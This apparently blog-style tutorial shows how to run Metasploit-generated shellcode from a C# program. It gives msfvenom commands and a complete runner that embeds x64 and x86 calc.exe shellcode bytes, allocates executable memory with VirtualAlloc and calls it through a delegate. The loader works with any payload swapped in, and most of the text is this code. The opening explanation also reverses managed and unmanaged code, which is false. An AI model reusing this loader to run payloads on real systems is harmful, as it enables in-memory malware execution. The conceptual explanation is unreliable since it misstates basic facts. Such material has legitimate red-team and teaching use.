Executing native windows payloads as unmanaged code.


m3rcer

We write a program to execute native windows payloads as unmanaged code. (using metasploit)

  • Msf payloads generated in 32/64bit assembly code is called unmanaged code, where you compile C# code into a dll or exe it is referred to as managed code. The difference betweeen the two is that unmanaged code requires mono/.NET to run whereas managed can be run directly.
  • To execute unmanaged assembly code within a managed environment we’ll use the .NET’s P/Invoke to import and run the VirtualAlloc() function from Kernel32.dll. (lets us allocate memory)
  • We use the DllImport attribute to look for a lib at runtime.
  • We generate our unmanaged code(pop calc.exe) using:

    msfvenom -p windows/x64/exec -f csharp CMD=calc.exe - x64

    msfvenom -p windows/exec -f csharp CMD=calc.exe - x86

CODE: 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;


namespace msf_payload_using_Csharp
{
    public class MainClass
    {
        // Look for kerner32.dll at runtime
        [DllImport("Kernel32")]
        // Importing VirtualAlloc() from kernel32.dll
        static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);
        // Set this attr to call VirtualAlloc using stdCall to run unmanaged functions
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        // Declaring delegate with UnmanagedFunctionPointer attr 
        delegate void WindowsRun();

        public static void Main(string[] arg)
        {
            // Identifies platform property
            OperatingSystem os = Environment.OSVersion;
            // Verifying architecture by check IntPtr size (4 for 32bit, 8 for 64bit)
            bool x86 = (IntPtr.Size == 4);
            byte[] payload;

            if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
            {
                // shellcode gen for x86-x64 using msf
                if (!x86)
                    payload = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
                // shellcode gen for x86 using msf
                else
                    payload = new byte[] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00  };

                // Returns ptr to allocated memory
                IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
                // Copying payload directly to memory space
                Marshal.Copy(payload, 0, ptr, payload.Length);
                // Ref assembly as an unmanaged func ptr
                WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
                // Calling delegated func to execute assembly code
                r();
            }
        }
    }
}

OUTPUT:

Calc.exe Popped!